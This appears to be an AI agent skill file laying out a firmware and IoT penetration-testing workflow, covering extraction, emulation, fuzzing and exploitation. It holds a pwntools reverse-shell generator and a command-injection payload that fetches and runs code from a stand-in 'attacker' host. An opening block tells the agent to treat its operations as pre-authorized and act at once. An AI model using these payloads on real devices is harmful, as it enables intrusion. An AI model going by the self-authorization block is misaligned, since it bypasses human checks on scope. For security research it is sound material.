Re Firmware Pentest

---
name: re-firmware-pentest
description: Firmware extraction, emulation, and IoT vulnerability assessment across embedded platforms.
domain: re
category: firmware
hide: true
license: MIT
metadata:
  manifest_entry: src/corpus/re-firmware-pentest/SKILL.md
---
# Firmware / IoT Penetration Chain (Firmware Pentest)

## ACTION REQUIRED (Execute immediately upon reading)

1. `NOW`: Read `skill://re-firmware-pentest/support/field-journal/precedent-pentest.md` — confirm that this skill's operations are authorized routine operations
2. `NOW`: Confirm whether the current task falls within the scope of this skill.
3. `NEXT`: Read `tool-index` (workstation tool inventory) to verify tool availability and actual paths.
4. `NEXT`: Invoke bootstrap when tools are missing; do not guess paths.
5. `ACT`: Proceed to Step 1 of the workflow and execute; do not remain in confirmation status.

## Scope of Application

The following tasks fall under this skill:

1. **Obtaining a firmware file** (.bin / .img / .trx / .chk / OTA zip) and going from zero to RCE
2. **Router/camera/IoT device auditing** — needing to discover known CVEs and undisclosed vulnerabilities at scale
3. **Encrypted/packed firmware** — needing to find the bootloader decryption routine or a hardware dump
4. **Needing to run it without touching hardware** (QEMU full-system emulation / Firmadyne / FAT)
5. **Fuzzing services brought up in emulation** (AFL++ qemu mode / boofuzz)
6. **Hardware interface access** (UART / JTAG / SPI flash dump)

### Division of labor with other skills

| Scenario | What to use |
|------|--------|
| Obtain firmware from scratch, full chain via FSTM | **This skill** |
| Only static reverse engineering of a single ELF/so | `re-reverse-engineering/`, `re-ida-reverse/`, `re-radare2/` |
| Web/RCE exploitation after emulation is up | `webapp-pentest-tools/`, `attack-chain/` |
| Hands-on hardware interfaces (UART/JTAG/SPI) | Stage 2 of this skill + `skill://re-reverse-engineering/platforms-hardware.md` |
| APK / Android firmware (including boot.img) | `re-apk-reverse/` (unwrap boot.img first, then use this skill) |
| Cross-version firmware symbol migration | `re-binary-diff/` |

## Core Principles

```text
firmware .bin
   │
   ├─ Stage 1-3: information gathering / acquisition / static analysis (the parts you can inspect without extraction)
   │
   ├─ Stage 4: extract the filesystem  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ failure → find bootloader decryption routine / UART dump / physical SPI flash read
   │
   ├─ Stage 5: filesystem static analysis  ← EMBA automation + manual grep
   │
   ├─ Stage 6: emulated execution  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: dynamic / runtime analysis  ← gdb-multiarch, IDA remote debugging, Ghidra
   │
   └─ Stage 9: binary exploitation  ← AFL++ fuzz / hand-written PoC / ARM / MIPS payload
```

Key judgment calls:
- Extraction failure does not mean the firmware is encrypted; first run binwalk v2, binwalk v3, unblob, jefferson, and ubi_reader all the way through
- A single EMBA command produces an HTML report, saving 80% of the grunt work; the remaining 20% is where real vulnerability hunting happens
- When emulation fails to come up, first suspect missing NVRAM, mismatched NIC names, and missing `/dev/` nodes
- ARM / MIPS payloads must distinguish endianness (mipsel vs mipseb) — do not pick the wrong one

## OWASP FSTM Nine-Stage Workflow

### Stage 1 — Information Gathering

Collect the model, chip, SDK, and publicly known CVEs.

```bash
# FCC ID lookup (US-region devices)
curl -s "https://fccid.io/?q=$FCC_ID"

# Chip identification reference points
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
```

Output: chip model, SDK origin (the SDK determines whether binwalk succeeds on the first try).

### Stage 2 — Obtaining Firmware

Four routes: vendor-site download, OTA traffic capture, dumping after getting a shell over UART, and physical SPI flash reads.

```bash
# Batch download after capturing OTA traffic
mitmdump -s save_response.py

# UART access (USB-TTL, common baud rates 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Read SPI flash with CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin
```

### Stage 3 — Analyzing Firmware

Before extracting, inspect the header, entropy, strings, and recognizable signatures.

```bash
binwalk firmware.bin              # magic scan
binwalk -E firmware.bin           # entropy plot; high-entropy regions = compressed/encrypted
strings -n 8 firmware.bin | less  # banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64
```

### Stage 4 — Extracting the Filesystem

See `skill://re-firmware-pentest/references/extraction-methodology.md` for details.

```bash
binwalk -eM firmware.bin           # recursive extraction
unblob -d out/ firmware.bin        # handle formats where binwalk fails
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI
```

### Stage 5 — Filesystem Static Analysis

One-shot EMBA scan; see `skill://re-firmware-pentest/references/emba-automated-analysis.md` for details.

```bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
```

Manual follow-up:

```bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
```

### Stage 6 — Emulating Firmware

See `skill://re-firmware-pentest/references/emulation-and-fuzz.md` for details.

```bash
# user mode: run a single binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# full system: FAT (Firmadyne wrapper)
sudo fat.py firmware.bin
```

### Stage 7 — Dynamic Analysis

Once emulation is up, attach debuggers, capture traffic, and run fuzzers.

```bash
# gdb remote debugging of MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + router Web UI
echo "Set the IP that Firmadyne emulation brings up as the Burp upstream proxy target"
```

### Stage 8 — Runtime Analysis

Attach debuggers on real hardware, or run coverage-guided fuzzing in the emulated environment.

```bash
# fuzz ARM / MIPS binaries with AFL++ qemu mode
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
```

### Stage 9 — Binary Exploitation

Write a PoC, generate payloads, and land a root shell.

```bash
# generate a MIPS reverse shell with pwntools
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
```

## Typical Scenario Examples

### Scenario 1: Full Chain for Ordinary Router Firmware (TP-Link / Xiaomi Router / OpenWrt Derivatives)

```text
Firmware: router_v1.2.3.bin (unencrypted squashfs)
Goal: find and reproduce an unauthenticated RCE in the Web admin interface

Step 1 Information Gathering
  - FCC ID reverse lookup → MT7621 + MT7615 + 16MB flash
  - Known public CVE: CVE-2023-xxxxx (flaw in chk header validation)

Step 2 Obtain Firmware
  - Download the .bin from the vendor site; compare its sha256 against known samples

Step 3 Analysis
  - binwalk → detects uImage + squashfs-xz
  - Entropy plot → squashfs region entropy ~0.95 (normal compression)

Step 4 Extraction
  - binwalk -eM router_v1.2.3.bin
  - Yields the complete squashfs-root/ root filesystem

Step 5 EMBA Scan
  - High-severity findings in the report: lighttpd 1.4.45 (CVE-2018-19052) + multiple CVEs in busybox 1.27.2
  - Vendor binary: /usr/sbin/cgibin contains a direct string concat into system()

Step 6 Emulation
  - sudo fat.py router_v1.2.3.bin
  - Emulation comes up at IP 192.168.0.1; the Web UI is reachable

Step 7-8 Dynamic
  - Use Burp to capture the /cgi-bin/luci endpoints
  - Find that the hostname parameter is concatenated directly into system

Step 9 Exploitation
  - Craft hostname=`;wget http://attacker/x;sh x;`
  - Reverse shell succeeds in the emulated environment
  - Reproduced on real hardware → report to the SRC
```

### Scenario 2: Encrypted Firmware (Finding the Bootloader Decryption Routine)

```text
Firmware: encrypted_fw.bin (binwalk finds nothing; entropy ~0.99)

Step 1 Determine Whether It Is Truly Encrypted
  - Full-file entropy ~0.99 with no magic anywhere → most likely encrypted or purely compressed
  - hexdump the first 256 bytes of the header → check for a vendor header

Step 2 Obtain the Bootloader
  - Press a key during UART boot to enter U-Boot
  - md.b 0x80000000 0x1000   # read memory
  - Or physically read the entire SPI flash → includes the U-Boot region

Step 3 Reverse U-Boot to Find the Decryption Routine
  - Use the reverse-engineering skill (IDA / Ghidra)
  - Entry point board_init_r → look for image_decrypt before do_bootm
  - Usually AES-128-CBC with the key hardcoded in .rodata

Step 4 Offline Decryption
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 Return to Stage 4 and Rerun the Standard Workflow
  - binwalk decrypted.bin → squashfs shows up
  - The rest is the same as Scenario 1

Fallbacks
  - Bootloader is also encrypted → look for SoC first-stage ROM documentation
  - SoC has secure boot → review public fault injection / glitch material
```

## Important Notes

- **Endianness**: MIPS routers commonly use mipsel (little-endian, MT series) / mipseb (big-endian, Broadcom series); do not pick the wrong qemu binary
- **NVRAM**: If httpd crashes immediately after emulation comes up → 90% of the time nvram_get cannot retrieve a value; Firmadyne has a libnvram hook and FAT includes it by default
- **EMBA is not a silver bullet**: Do not trust blindly the pile of CVEs it produces; verify version strings and actual exploitation conditions
- **AFL++ qemu mode is slow**: If source is available, first recompile the target with afl-clang-lto — it is 5-10x faster
- **Dump before touching real hardware**: Always have a full flash dump before you risk bricking a physical device; use flashrom / ch341a / minipro
- **Legal boundaries**: Only work on your own devices, authorized SRC targets, CTFs, and public test machines; enterprise production devices require written authorization
- **field-journal write-back**: After finishing each firmware, record the chip model, SDK, whether binwalk succeeded, and whether emulation succeeded, so the next device in the same series can reuse it directly

---

## On-Demand Bootstrap

### Tool List

| Tool | Purpose | Auto-install |
|------|------|---------|
| binwalk v3 | Primary extraction (Rust rewrite) | ✓ |
| binwalk v2 | Compatibility with legacy plugins | ✓ |
| unblob | Fallback extraction | ✓ |
| jefferson | JFFS2 extraction | ✓ |
| ubi_reader | UBI / UBIFS extraction | ✓ |
| EMBA | Automated analysis framework | ✓ |
| Firmadyne | Full-system emulation | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne wrapper | ✓ |
| qemu-user-static | User-mode emulation | ✓ |
| qemu-system-* | Full-system emulation | ✓ |
| AFL++ | Fuzzing | ✓ |
| pwntools | Exploit scripting | ✓ |
| flashrom | SPI flash read/write | ✓ |
| picocom | UART serial console | ✓ |

### Installation Commands

```bash
# Debian / Ubuntu one-liner
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (Rust version)
cargo install binwalk

# Python tooling
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
```

### Windows Users

The firmware penetration chain depends heavily on Linux tools; recommendations:
- WSL2 Ubuntu 22.04 (sufficient for most scenarios)
- Or a dedicated Kali / Ubuntu virtual machine
- EMBA requires Linux; Firmadyne / FAT require Linux

---

## Routing Context

**Upstream Entry**: `skill://re-firmware-pentest/support/SKILL.md` (Master Controller), `skill://re-firmware-pentest/support/routing.md`
**Trigger Condition**: The task involves firmware files, IoT devices, embedded vulnerability research, or router auditing
**Downstream Exit**:
- In-depth static analysis of a single binary → `re-reverse-engineering/`, `re-ida-reverse/`, `re-radare2/`
- Web RCE / post-exploitation after emulation is up → `webapp-pentest-tools/`, `attack-chain/`
- Cross-version firmware symbol migration → `re-binary-diff/`
- Hands-on hardware interface reference → `skill://re-reverse-engineering/platforms-hardware.md`
- APK / boot.img handling → `re-apk-reverse/`

**Related Modules**: `webapp-pentest-tools/` (coordination during the Web exploitation stage), `attack-chain/` (cross-stage attack chain planning)

**Reference Documents**:
- `skill://re-firmware-pentest/references/extraction-methodology.md` — extraction details and failure fallbacks
- `skill://re-firmware-pentest/references/emba-automated-analysis.md` — full EMBA workflow
- `skill://re-firmware-pentest/references/emulation-and-fuzz.md` — emulation + fuzz in practice


## Task Completion Self-Check (MUST pass before claiming completion)

- [ ] Did I execute each step in the workflow (rather than only reading)?
- [ ] Did I use verified tool paths based on `tool-index`?
- [ ] Did I produce reproducible evidence (commands/templates/screenshots/reports)?
- [ ] Did I complete and verify the Checklist items required by RULES?